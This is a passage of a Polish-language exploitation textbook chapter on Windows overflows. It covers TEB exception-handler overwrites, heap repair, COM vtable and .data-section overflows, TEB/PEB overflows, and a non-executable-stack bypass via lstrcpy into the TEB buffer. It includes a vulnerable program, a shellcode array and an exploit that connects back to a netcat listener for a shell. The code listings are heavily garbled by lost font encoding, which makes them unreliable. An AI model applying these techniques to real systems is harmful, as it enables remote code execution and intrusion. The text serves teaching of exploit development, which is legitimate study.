
background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

179

7#

5,Q2$!

..!

%

((+Z+Z)*&!

5,Q99Q=$Q4$Q8:Q89Q8#Q8=Q89Q4<Q43Q4$Q49Q32!

&,''&!

5,&!

5,Q11Q6#Q2$Q2$!

QH#Q!

&5!

$!

%

HG;I5,I

D6RL@ERLL!

H@$!

@LL55!

S

$!

@G";,!

S

$!

!

%

I&,H

H@$!

@!

@7<!

@7<!

&-$/@!

@!

@:!

@7<!

@7<!

&-#/@!

@!

@#8!

@7<!

@7<!

&-7/@!

@!

@7<!

&-9/@!

%

Nadpisanie wskaźnika procedury obsługi wyjątków
w bloku TEB

Podobnie  jak  w  przypadku  metody  wykorzystującej  filtr  nieobsłużonych  wyjątków
Halvar Flake jako pierwszy zaproponował  nadpisanie  wskaźnika  struktury 

  przechowywanego  w  bloku  TEB  (Thread  Environment  Block).  Każdy

background image

180

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

wątek posiada blok TEB, który dostępny jest za pośrednictwem rejestru segmento-
wego 

+

.  Pod  adresem 

+#

znajduje  się  wskaźnik  pierwszej  struktury 

)

. Dokładne położenie bloku TEB zmienia się w zależności od mo-

mentu utworzenia wątku, liczby wątków i wielu innych czynników. Zwykle blok TEB
pierwszego wątku znajduje się pod adresem 

*++.

, następnego wątku pod adre-

sem 

*++..

, czyli w odległości 

0

 bajtów od poprzedniego, i tak dalej. Bloki

TEB kolejnych wątków tworzone są zawsze w kierunku adresu 

. Poniższy

kod podaje adres bloku TEB pierwszego wątku:

&

''&

&,>-$#:/

%

C3>P:BQ!

''&

,<

%

$!

%

Gdy jeden z wątków kończy swoje działanie, przestrzeń zajmowana przez jego blok TEB
zostaje zwolniona i będzie użyta dla bloku TEB wątku, który zostanie utworzony jako
następny.  Stosując  przepełnienie  sterty,  możemy  nadpisać  wskaźnik  struktury 

)

, który dla pierwszego wątku znajduje się pod adresem 

*++.

.

Gdy wystąpi wyjątek związany z naruszeniem ochrony dostępu do pamięci, to będziemy
posiadać  kontrolę  nad  wywoływaną  procedurą  obsługi  wyjątków.  Zwykle  jednak,
zwłaszcza w przypadku serwerów o architekturze wielowątkowej, wykorzystanie tej me-
tody  nastręcza  pewnych  trudności,  ponieważ  nie  jesteśmy  pewni,  gdzie  dokładnie
znajduje się blok TEB bieżącego  wątku.  Dlatego  też  metoda  ta  najlepiej  sprawdza  się
w przypadku  programów  jednowątkowych,  na  przykład  uruchamianych  w  oparciu
o interfejs  CGI.  W  przypadku  serwerów  wielowątkowych  najlepiej  jest  uruchomić
wiele wątków i wybrać posiadający najniższy adres TEB.

Naprawa sterty

Po  uszkodzeniu  sterty  przez  przepełnienie  z  reguły  powinniśmy  ją  naprawić.  W  prze-
ciwnym razie możemy być prawie pewni, że nasz proces  naruszy  mechanizm ochrony
pamięci,  zwłaszcza  gdy  przepełnienie  dotyczyło  domyślnej  sterty  procesu.  Naprawa
sterty może polegać na wykonaniu pewnej pracy w zakresie inżynierii odwrotnej dla
atakowanej  aplikacji  i  wyznaczeniu  dokładnych  rozmiarów  bufora  oraz  następnego
bloku pamięci. Rozmiarom tym możemy przywrócić oryginalne wartości, jednak taki
sposób działania okaże się zbyt pracochłonny,  gdy będzie  wykonywany dla każdego
włamania  z  osobna.  Bardziej  przydatna  byłaby  ogólna  metoda.  Najbardziej  nieza-
wodna  i  ogólna  metoda  naprawiania  sterty  polega  na  przywróceniu  jej  postaci,  jaką
posiada każda nowa (lub prawie nowa) sterta. Przypomnijmy, że po utworzeniu nowej

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

181

sterty,  ale  przed  przydzieleniem  jakiegokolwiek  jej  bloku  struktura 

+=

(

%#$#0*?

) zawiera dwa wskaźniki wskazujące pierwszy wolny blok (

%

$#F??

) oraz dwa wskaźniki w obrębie tego bloku wskazujące strukturę 

+=

.

Wskaźniki  umieszczone  w  strukturze 

+=

  możemy  zmodyfikować,  tak  aby

wskazywały koniec naszego bloku, dzięki czemu powstanie sytuacja, w której pierwszy
wolny blok będzie znajdować się za naszym buforem. Musimy również zmodyfikować
dwa wskaźniki znajdujące się na końcu naszego bufora i poprawić kilka innych szcze-
gółów.  Jeśli  zniszczyliśmy  blok  znajdujący  się  na  domyślnej  stercie  procesu,  to  mo-
żemy  naprawić  go  za  pomocą  przedstawionego  poniżej  kodu  w  asemblerze.  Kod  ten
powinien zostać wykonany, zanim kod powłoki rozpocznie inne operacje, aby zapobiec
naruszeniu ochrony pamięci. Dobrą praktyką jest również naprawienie wykorzystanego
mechanizmu obsługi wyjątków, ponieważ zapobiega wejściu w pętlę w momencie na-
ruszenia ochrony pamięci.

(("+K+K-.0:/

((ZKH5.0:

(()+A+&+KK*K*

((U+A+&V&)K

(([)&H5&+)

(()+

#"$""%"&'

((UK+&U7$$$

((K&[KHK+K[[`

((&,-.$<=/

((+Z$#:

()

((Z)TV`K3B

*

(("5+A+5+C3

((K>-#:/

#$""+%*'

(("5+A+5+"3

((K5+C3

#$""%,'

(("5+A+&V)

((K5+"3

#$""%)'

((F)KK+A+

((;&`$$$$$$$

((^H)&+A+,+5+KZ

((V`C1?K

""-$.

((Z)ZC1?K

#$"%'

((K))K)+KKK*K

((*

#"%"'$

((KT+K7

"

"

((X&K&KH5+:

#*%"'$

"

((E)+)&75)&V`$

#$"%"'

background image

182

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

"%"'$

"

"

((E)KK+&V`$#<

#*%"'$)&

"

((T&75)&V`$

#$"%"'

"%"'$

"

"

((+H),5+KZ'5.$#0:

((K&V`'5.$7:

""$)/

((+K)K1L-$/

((K))+1L-$/1+

#""%'$"

((K)+1L-$/3+

#""%&'$"

((+)+A+K))*T+a

((KH5+,5+KZ1L-$/

#""%"'$

#""%"&'$

Po naprawieniu sterty możemy wykonać dowolny kod. Stercie nie została przywróco-
na postać zupełnie nowej sterty, ponieważ  inne  wątki  mogły  już  wcześniej  umieścić
na  niej  swoje  dane.  Dane  takie  umieszcza  na  stercie  na  przykład  wywołanie  funkcji

I 8

.  Jeśli  dane  te  zostaną  zniszczone,  ponieważ  stercie  został  przywrócony

stan wyjściowy, to jakiekolwiek wywołanie funkcji związanej z gniazdami sieciowy-
mi spowoduje naruszenie ochrony pamięci.

Inne aspekty przepełnień sterty

Nie  zawsze  przepełnienie  sterty  zostaje  wykorzystane  na  skutek  wywołania  funkcji

 ""DE

 lub 

 +DE

. Inne możliwości wykorzystania przepełnień sterty doty-

czą między innymi prywatnych danych klas języka C++ oraz obiektów modelu COM
(Common Object Model). Model COM umożliwia programistom tworzenie obiektów
na bieżąco przez inne programy. Obiekt taki posiada funkcje czy raczej metody, które
mogą zostać  wywołane  w celu  realizacji  pewnych  zadań.  Dobrym  źródłem  informacji
na  temat  możliwości  modelu  COM  jest  oczywiście  witryna  firmy  Microsoft  (www.
microsoft.com/com/). Dlaczego jednak model COM jest tak interesujący z punktu widze-
nia przepełnień sterty?

Obiekty COM i sterta

Instancja  obiektu  COM  tworzona  jest  na  stercie.  Dla  każdego  obiektu  tworzona  jest
tabela wskaźników funkcji, znana jako vtable. Wskaźniki te wskazują kod metod, któ-
re  obsługują  dany  obiekt.  Powyżej  tabeli  vtable  (w  sensie  adresów  pamięci  wirtual-
nej) przydzielony zostaje obszar dla danych obiektu. Gdy tworzone są kolejne obiekty
COM,  to  ich  tabele  vtable  oraz  dane  umieszczane  są  ponad  poprzednimi  obiektami.
Zastanówmy się, co się stanie, gdy bufor należący do sekcji danych jednego z obiektów

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

183

zostanie  przepełniony.  Przepełnienie  takie  może  nadpisać  tabelę  vtable  następnego
obiektu. W ten sposób haker może przejąć kontrolę nad metodami tego obiektu. Wy-
starczy, że nadpisze wskaźnik jednej z metod adresem swojego bufora. Gdy metoda ta
zostanie wywołana, to sterowanie trafi do kodu umieszczonego w buforze przez hakera.
Metoda taka jest często stosowana w przypadku obiektów ActiveX ładowanych przez
przeglądarkę  Internet  Explorer.  Wykorzystanie  przepełnień  w  przypadku  obiektów
COM jest więc niezwykle łatwe.

Przepełnianie danych sterujących logiką programu

Włamania  przeprowadzane  za  pomocą  przepełnienia  sterty  nie  muszą  prowadzić  do
wykonania kodu wprowadzonego przez hakera. Celem ataku mogą być zmienne prze-
chowywane na stosie, które decydują o sposobie działania aplikacji. Wyobraźmy so-
bie na przykład serwer Web, które przechowuje na stercie informacje o uprawnieniach
dotyczących wirtualnych katalogów. Nadpisanie takiej struktury za pomocą przepełnienia
na stercie umożliwi atakującemu uzyskanie prawa zapisu w katalogu nadrzędnym i zała-
dowanie własnych treści na serwer.

Podsumowanie przepełnień sterty

Przedstawiliśmy  kilka  mechanizmów  umożliwiających  wykorzystanie  przepełnień
sterty.  Wykorzystanie  każdego  przepełnienia  sterty  wymaga  indywidualnego  podej-
ścia, ponieważ przepełnienia te zawsze różnią się między sobą. Omówiliśmy również
niebezpieczeństwa  wynikające  z  nieostrożnego  obchodzenia  się  ze  stertą.  Konse-
kwencje mogą być nieprzyjemne, wobec czego lepiej zachować ostrożność.

Inne przepełnienia

Podrozdział ten poświęciliśmy  przepełnieniom,  które  nie  zachodzą  ani  na  stosie,  ani
na stercie.

Przepełnienia sekcji .data

Każdy program podzielony jest na szereg obszarów zwanych sekcjami. Właściwy kod
programu umieszczony jest w sekcji .text. Sekcja 

>!  

 zawiera zmienne globalne.

Informacje  o  sekcjach  programu  możemy  uzyskać  na  podstawie  jego  pliku  wyko-
nywalnego za pomocą narzędzia 

!8'(

 wywołanego z opcją 

G.

 oraz opcją

G>nazwa_sekcji

,  która  wyświetla  informacje  o  wybranej  sekcji.  Chociaż  prze-

pełnienia  sekcji 

>!  

  są  rzadziej  spotykane  niż  przepełnienia  stosu  lub  sterty,  to  są

one również z powodzeniem wykorzystywane na platformie Windows. Podstawowym
utrudnieniem w ich przypadku jest konieczność zachowania odpowiednich zależności
czasowych. Przeanalizujmy to na poniższym przykładzie kodu w języku C:

background image

184

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

H5-97/@!

1;F"FD=&@$!

1;F"FD=&@$!

&H,IH-/

D6RL@$!

@LL5&!

S

$!

&@G";,!

S&

$!

&@G";,!

S&

$!

&5,H-#/!

''&,:%

&P,5!

''&,:%

1L5!

$!

%

Program ten ładuje dynamicznie bibliotekę runtime języka C (

'A>!""

), a następnie

pobiera adresy funkcji 

DE

 i 

DE

. Adresy te zostają umieszczone w zmiennych

globalnych,  które  przechowywane  są  w  sekcji 

>!  

.  Zdefiniowany  został  również

globalny bufor mieszczący 32 bajty. Wskaźniki funkcji używane są następnie w celu
skopiowania danych do tego bufora oraz wyświetlenia jego zawartości. Zwróćmy jednak
uwagę na uporządkowanie zmiennych globalnych. Pierwszy jest bufor, a dopiero za nim
znajdują się wskaźniki. W tej samej kolejności zmienne te zostaną umieszczone w sekcji

>!  

. Jeśli bufor zostanie przepełniony, to wskaźniki funkcji zostaną nadpisane. W ten

sposób haker może przejąć kontrolę nad programem w momencie wywołania jednej
z funkcji.

Przeanalizujmy, co się stanie, gdy nasz program zostanie uruchomiony ze zbyt długim
łańcuchem argumentu. Pierwszy z argumentów wywołania programu zostaje skopiowany
do  bufora  za  pomocą  funkcji 

. Przepełnienie  tego  bufora  sprawia,  że  nadpisane

zostają wskaźniki funkcji. Następnie program próbuje wywołać funkcję 

, posłu-

gując  się  jej  wskaźnikiem.  Wywołanie  to  umożliwia  przejęcie  sterowania  przez  kod
wprowadzony  przez  hakera.  Oczywiście  opisana  tutaj  sytuacja  została  znacznie
uproszczona dla potrzeb ilustracji. W rzeczywistości sprawa nie jest taka prosta. Nad-
pisany wskaźnik może zostać użyty przez program znacznie później, a w międzycza-
sie zostanie usunięta zawartość bufora. Dlatego właśnie zależności czasowe stanowią
podstawową przeszkodę przy tego rodzaju atakach. W naszym przykładzie w momencie
wywołania funkcji 

 za pomocą wskaźnika rejestr 

 wskazuje początek bufora,

wobec czego możemy nadpisać wskaźnik printf adresem rozkazu 

&'# 

 lub 

 ""# 

.

Co  więcej,  ponieważ  bufor  jest  parametrem  przekazywanym  funkcji 

,  to  jego

adres  możemy  znaleźć  na  stosie  pod  adresem 

#$#?

.  Oznacza  to,  że  równie  dobrze

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

185

moglibyśmy  nadpisać  wskaźnik  funkcji adresem bloku  kodu  zawierającego  sekwencję
rozkazów 

. Dwa pierwsze rozkazy odsłonią  nam na stosie adres bufora.

Wykonanie  rozkazu 

  przekaże  sterowanie  do  tego  bufora.  Przypomnijmy  jednak

raz jeszcze, że nie jest to typowa sytuacja dla rzeczywistych programów. Zaletą prze-
pełnień  sekcji 

>!  

  jest  przede  wszystkim  możliwość  odnalezienia  bufora  w sekcji

>!  

 zawsze pod tym samym adresem.

Przepełnienia bloków TEB i PEB

Aby  przegląd  przepełnień  był  kompletny,  należy  wspomnieć  o  możliwości  przepeł-
niania bloków TEB. Należy jednak zaznaczyć, że nie istnieją żadne publicznie ujawnio-
ne raporty na temat wykorzystania takich przepełnień w praktyce. Każdy blok TEB za-
wiera bufor, który używany jest do konwersji łańcuchów znakowych z kodu ASCII na
kod Unicode na przykład przez funkcje 

'8 '

 czy 

!8" !"

. Prze-

pełnienie tego bufora  może  nastąpić,  gdy  funkcja  nie  sprawdza długości  umieszczanego
w nim łańcucha bądź gdy istnieje sposób wprowadzenia ją w błąd co do rzeczywistej dłu-
gości  łańcucha  w  kodzie  ASCII.  Załóżmy,  że  znaleźliśmy  metodę  wywołania  takiego
przepełnienia. Zastanówmy się, w jaki sposób możemy  wykorzystać to przepełnienie do
wykonania własnego kodu. Sposób ten zależy od tego, w którym z bloków TEB nastąpiło
przepełnienie.  Jeśli  przepełnienie  nastąpiło  w  bloku  TEB  pierwszego  wątku  danego
procesu, to w efekcie nadpisany został blok PEB tego procesu. Przypomnijmy, że w bloku
PEB znajduje się szereg ważnych wskaźników, które używane są podczas kończenia
pracy procesu. Przepełniając bufor bloku TEB, możemy nadpisać jeden z  tych  wskaźni-
ków  i  przejąć  sterowanie  przed  zakończeniem  procesu.  Natomiast  gdy  przepełniony
blok TEB należy do innego wątku, nadpisana zostanie zawartość innego bloku TEB.

W każdym bloku TEB znajduje się wiele interesujących wskaźników, które możemy
nadpisać. Przykładem może być wskaźnik pierwszej struktury 

.

Po nadpisaniu tego wskaźnika musimy jeszcze wywołać wyjątek w wątku, do którego
należy  dany  blok  TEB.  Możliwe  jest  również  przepełnienie  wielu  bloków  TEB  i  nad-
pisanie wskaźników znajdujących się w bloku PEB. Pewnym utrudnieniem związanym
z wykorzystaniem takich przepełnień jest to, że nadpisują one wskaźniki danymi w ko-
dzie Unicode.

Przepełnienie buforów
i stosy zabraniające wykonania kodu

W  systemie  Sun  Solaris  wprowadzono  możliwość  takiego  konfigurowania  stosu,  by
uniemożliwiał  on  wykonanie  znajdującego  się  na  nim  kodu.  Oczywiście  celem  tego
rozwiązania  było  zapobieżenie  atakom  wykorzystującym  przepełnienia  buforów  na
stosie.  Jednak  w  przypadku  procesorów  x86  rozwiązanie  takie  nie  jest  możliwe.  Do-
stępne są jedynie produkty, które śledzą stosy wszystkich działających procesów. Jeśli
wykryta zostanie próba uruchomienia kodu znajdującego się na stosie, działanie procesu
zostaje zakończone.

background image

186Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Istnieje szereg sposobów obejścia mechanizmów ochrony stosu. Jedna z nich, zapro-
ponowana  przez  hakera  o  pseudonimie  Solar  Designer,  polega  na  nadpisaniu  adresu
powrotu za pomocą adresu funkcji 

'DE

.  David  Litchfield  napisał  artykuł  poświę-

cony zastosowaniu tej metody na platformie Windows. Okazuje się jednak, że istnieje
jeszcze lepsza metoda. Rafał Wojtczuk opisał ją na łamach Bugtraq (http://community.
core-sdi.com/~juliano/non-exec-stack-problems.html).  Metoda  ta  wykorzystuje  kopiowa-
nie łańcuchów i nie została jeszcze opisana dla platformy Windows. Uczynimy to poniżej.

Z nadpisaniem adresu powrotu za pomocą adresu funkcji 

'DE

 wiąże się następują-

cy problem. Funkcja 

'DE

 eksportowana jest w systemie Windows przez bibliote-

kę 

'A>!""

, której położenie w pamięci zmienia się dla różnych systemów (a nawet

dla  różnych  procesów  działających  w  tym  samym  systemie).  Co  gorsza,  wykonując
polecenie, tracimy dostęp do interfejsu Win32, co znacznie ogranicza nasze możliwości.
Dlatego lepszym rozwiązaniem byłoby skopiowanie naszego bufora na stertę procesu
lub do innego obszaru pamięci, który umożliwia zapis danych i wykonanie kodu. W tym
celu nadpiszemy adres powrotu adresem funkcji kopiującej łańcuchy. Nie będzie to jednak
funkcja 

DE

,  ponieważ  jest  ona,  podobnie  jak  funkcja 

'DE

,  eksportowana

przez  bibliotekę 

'A>!""

.  Natomiast  funkcja 

"DE

  eksportowana  jest  przez

bibliotekę 

7"/C>!""

, która posiada zawsze ten sam adres bazowy przynajmniej dla

wszystkich procesów działających w tym samym systemie. Jeśli wykorzystanie funkcji

"DE

 natrafia na pewne przeszkody (na przykład jej adres zawiera niedozwolo-

ny znak, taki jak 

), to możemy użyć jeszcze funkcji 

" DE

.

Gdzie  skopiujemy  zawartość  naszego  bufora?  Moglibyśmy  umieścić  ją  na  stercie,
ale  istnieje  duża  szansa, że  uszkodzimy  stertę  i  tym  samym  zakończymy  działanie
procesu. Dlatego wybierzemy blok TEB. Każdy blok TEB posiada 520-bajtowy bu-
for  używany do konwersji łańcuchów z  Unicode na  ASCII. Bufor  ten jest  przesunięty

 bajtów względem początku bloku TEB. Blok TEB pierwszego z wątków da-

nego procesu posiada adres 

*++.

 i wobec tego interesujący nas bufor ma adres

*++.

. Bufor ten używany jest do konwersji łańcuchów na przykład przez funk-

cję 

!8" !"

. Jego adres moglibyśmy przekazać jako adres bufora docelowe-

go  funkcji 

"

,  ale  ze  względu  na  bajt  zerowy  na  końcu  łańcucha  posłużymy  się

w praktyce adresem 

*++.1

. Musimy jeszcze określić położenie naszego bufora na

stosie. Ponieważ adres ten znajdzie  się  na  końcu naszego  łańcucha,  nie  ma  znaczenia,
czy rozpoczyna się od bajtu zerowego (np. 

0C++.

). Bajt ten spełnia wtedy równocze-

śnie  funkcję  oznaczenia  końca  łańcucha.  Pozostaje  nam  jeszcze  skonfigurować  od-
powiednio  adres  powrotu,  aby  po  zakończeniu  funkcji 

"

  sterowanie  trafiło  do

naszego bufora zawierającego kod powłoki.

Zaatakowana funkcja, kończąc swoje działanie, zdejmuje ze stosu adres powrotu. Adres
ten nadpisaliśmy za pomocą adresu funkcji 

"DE

, wobec czego wykonanie rozkazu

powrotu przekaże sterowanie do funkcji 

"DE

. Dla funkcji 

"DE

 rejestr 

wskazywać  będzie  adres  powrotu.  Funkcja  pominie  ten  adres  i  przejdzie  do  swoich
parametrów — bufora źródłowego i bufora docelowego. Następnie będzie  kopiować
kolejne  bajty,  począwszy  od  adresu 

0C++.

,  do  bufora  o  adresie 

*++.1

  tak

długo, aż natrafi na bajt zerowy kończący łańcuch źródłowy (wskaźnik bufora źródłowego
znajduje się w dolnym prostokącie po prawej stronie rysunku 8.4). Po zakończeniu kopio-
wania  funkcja 

"

  zwraca  sterowanie  do  naszego  bufora.  Oczywiście  umieszczony

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

187

Rysunek 8.4.
Stos przed i po
przepełnieniu

tam  kod  powłoki  musi  mieć  rozmiar  mniejszy  niż  520  bajtów.  W  przeciwnym  bo-
wiem razie spowoduje przepełnienie bufora bloku TEB i nadpisze kolejny blok TEB
lub PEB. (Możliwości przepełnień bloków TEB i PEB omówimy później).

Zanim  przejdziemy  do  tworzenia  kodu,  musimy  najpierw  zastanowić  się,  jak  będzie
działał  tworzony  eksploit.  Jeśli  użyje  on  jakiejkolwiek  funkcji,  która  wykorzystuje
bufor bloku TEB do konwersji pomiędzy kodami Unicode i ASCII, działanie procesu
może  zostać  zakończone.  Na  szczęście  w  blokach  TEB  istnieją  inne  wolne  obszary,
które nie są używane lub ich nadpisanie nie jest krytyczne. Na przykład począwszy od
adresu 

**++.0%

 (dla bloku TEB pierwszego  wątku  danego  procesu),  zaczyna  się

blok bajtów zerowych.

Przyjrzyjmy się teraz kodowi przykładów. Najpierw kod atakowanego programu:

I!

&H,IH-/

H5-47$/@!

HS@7

"H&SQ!

H-#/!

$!

%

I

H5-8$$/@!

P:BQ,M5!

5,!

$!

%

Przepełnienie bufora na stosie zachodzi w funkcji 

DE

. Funkcja 

DE

 kopiuje dane

wprowadzone przez użytkownika do bufora o rozmiarze 600 znaków bez sprawdzenia
rozmiaru łańcucha  źródłowego.  Powodując  przepełnienie  nadpiszemy  adres  powrotu
adresem funkcji 

.

background image

188

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

W systemie Windows XP Service Pack 1 adres funkcji 

" zawiera bajt .

Następnie  modyfikujemy  adres  powrotu,  aby  funkcja 

,  kończąc  swoje  dzia-

łanie, przekazała sterowanie do naszego nowego bufora w bloku TEB. A także przy-
gotowujemy parametry funkcji, z których bufor docelowy znajduje się w bloku TEB,
a  bufor  źródłowy  na  stosie.  Program  kompilujemy  w  środowisku  Microsoft  Visual
C++  6.0  na  platformie  Windows  XP  Service  Pack  1.  Nasz  eksploit  jest  przenośnym
kodem powłoki. Działa poprawnie dla systemu Windows NT i jego następnych wer-
sji. Z bloku PEB pobiera najpierw listę załadowanych modułów. Następnie odnajduje
adres bazowy modułu 

7"/C>!""#

i parsuje jego nagłówek PE w celu odnalezienia

adresu  funkcji 

!!

.  Dysponując  tym  adresem  oraz  adresem  bazowym

7"/C>!""

, może uzyskać również adres funkcji 

= !=( 

. Korzystając z obu

wymienionych funkcji, może już zrealizować swoje zadanie. Za pomocą następujące-
go polecenia uruchomimy program 

 

, aby nasłuchiwał na podanym porcie:

=>QJJ49

a następnie uruchomimy nasz eksploit. W efekcie powinniśmy uzyskać nową powłokę.

H-4#$/@

Q44Q:3Q=Q3Q$9Q43Q3Q$4Q:Q1:Q11Q11Q11Q3Q11Q11

Q11Q11Q:#Q18Q6=Q1Q11Q11Q$9Q6Q99Q=$Q4$Q4$Q4$Q4$

Q4$Q4$Q4$Q4$Q4$Q4$Q11Q69Q4$Q8:Q8#Q07Q02Q<#Q8:Q<=

Q82Q87Q07Q8:Q<=Q81Q8#Q8<Q4<Q11Q04Q1=Q11Q44Q1<Q:2

Q<4Q1$Q:9Q=9Q89Q:9Q=9Q46Q99Q=2Q3#Q<Q37Q11Q9$Q#9

Q:9Q3Q$#Q7Q12Q<9Q49Q11Q04Q1=Q11Q44Q1<Q:2Q<4Q=

Q:9Q=9Q#$Q49Q11Q04Q1=Q11Q44Q1<Q:2Q<4Q:Q:9Q=9Q$=

Q49Q11Q44Q1$Q:2Q<4Q1:Q:9Q=9Q$=Q49Q4$Q11Q44Q1<Q:2

Q<4Q<Q:9Q=9Q$=Q49Q11Q04Q1:Q11Q44Q1<Q:2Q<4Q$Q:9

Q=9Q$=Q49Q11Q04Q1:Q11Q44Q1<Q:2Q<4Q6=Q:9Q=9Q$:Q:2

Q46Q6:Q99Q67Q88Q:9Q=7Q$7Q4<Q47Q11Q44Q<Q99Q=$Q99

Q=2Q88Q32Q$<Q$#Q4$Q7Q16Q:2Q<4Q6<Q:2Q<4Q6$Q31Q$;

Q$#Q$#Q78Q:2Q06Q==Q<$Q<$Q:2Q<4Q=:Q88Q3:Q11Q11Q88

Q94Q11Q=;Q88Q:2Q<4Q=;Q8;Q$#Q8;Q$7Q11Q44Q$Q:2Q<4

Q$Q8;Q#$Q:6Q04Q=:Q48Q:3Q46Q$Q49Q11Q44Q6=Q:9Q=$

Q<<Q:2Q:4Q4:Q11Q11Q11Q:9Q=$Q4Q:9Q=$Q4Q:2Q<4Q:<

Q:2Q46Q2$Q:2Q46Q2<Q:2Q46Q2:Q:6Q36Q<:Q11Q11Q11Q40

Q:6Q36Q4:Q11Q11Q11Q40Q99Q=$Q4$Q4$Q4$Q:9Q=$Q$#Q4$

Q:9Q:Q$#Q4$Q4$Q:3Q46Q6:Q49Q4$Q11Q44Q=Q11Q44Q:

Q8$Q99Q67Q:9Q=7Q9$Q8<Q:3Q$7Q:3Q<$Q$=Q:3Q0$Q#=Q;6

Q:3Q4$Q$:Q47Q:3Q=7Q:3Q17Q:3Q6;Q:3Q=;Q$9Q47Q9=Q$9

Q<7Q0:Q$9Q4:Q#=Q4#Q8;Q#1Q42Q<#Q$9Q9<Q$:Q42Q$9Q<:

Q7<Q4;Q47Q:3Q1;Q$9Q9Q:#Q91Q<0Q84Q0<Q4$Q0<Q$:Q:9

Q=8Q$<Q:9Q=#Q$7Q3Q=Q:9Q=0Q$<Q:#Q91Q07Q81Q89Q<#

Q0<Q$:Q:9Q=8Q$<Q:9Q=#Q$7Q3Q62Q:3Q1;Q$1Q30Q$#Q$9

Q9=Q:9Q:2Q0=Q7<Q<<Q:3Q9=Q7<Q:2Q0=Q7<Q<=Q41Q8#Q=9

Q2$Q2$Q2$Q3=Q:6Q2;Q2Q:3Q2;Q;1Q:6Q2$Q2=Q2;Q:=Q:=

Q3Q11Q11Q3;Q:0Q28Q:3Q;3Q20Q:6Q2;Q2Q23Q11Q11Q;:

Q:=Q=6Q;$Q==Q=6Q6#Q23Q29Q29Q11Q11Q;:Q;=Q3Q;=Q:3

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

189

Q2Q:6Q:3Q:;Q:1Q11Q11Q;:Q;=Q3Q;=Q2$Q2=Q2<Q2;Q:3

Q3Q11Q11Q2=Q2$Q2#Q2#Q2;Q2=Q:3Q11Q2=Q27Q23Q11Q11

Q11Q11Q11Q11!

&H,IH-/

@$!

H5-#$$$/@!

HS@9

$!

?U+!

((R "&+KZ+

((; "K`5)_K,

(([K5T

?RH-#/,H-7/!

((K+HH&

5,!

((+)+Z+5

5,!

((RKZ5

74

5,Q2$Q2$Q2$Q2$!

..!

%

5,Q2$Q2$Q2$Q2$!

((;K

((&+);&UB"?"#

((_&$000<388

5,Q88Q<3Q0Q00!

((^H)+);

(()+KH+5+C3

5,Q3=Q#Q16Q01!

((^H)5+);

((_[55+C3

5,Q3=Q#Q16Q01!

((3A_Z"&&K))T

((KH5

5,Q#$Q13Q#7!

((R&&+H&S

U5,?U';B  X!

$!

%

background image

190

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

?U+

@$!

UDF6]Fb!

U?;6;C;6!

]Fb@;^UDF67,$!

@U?;?]Fb,M6!

S@$

$!

LD3YC6]S@7\\ 3YCJ6]S@$

U?;=!

$!

%

$!

%

?RI&,&

H@$!

H@$!

I@!

I@!

@'&!

@IM!

-#2#/@-$/!

-#27/@-#/!

-#29/@-7/!

-#2</@-9/!

((+VC="

((+_&Z)

((>JJ49

@H&!

@N$1111!

@IM!

-7$2/@-$/!

-7#$/@-#/!

$!

%

Podsumowanie

W  tym  rozdziale  omówiliśmy  bardziej  zaawansowane  metody  wykorzystania  prze-
pełnień  na  platformie  Windows.  Z  przedstawionych  przykładów  płynie  nauka,  że
prawie  zawsze  można  rozwiązać  lub  obejść  trudności  pojawiające  się  podczas  przy-
gotowywania włamania. W praktyce można nawet założyć, że każda możliwość prze-
pełnienia nadaje się do wykorzystania podczas włamania. Wystarczy jedynie znaleźć
odpowiedni sposób.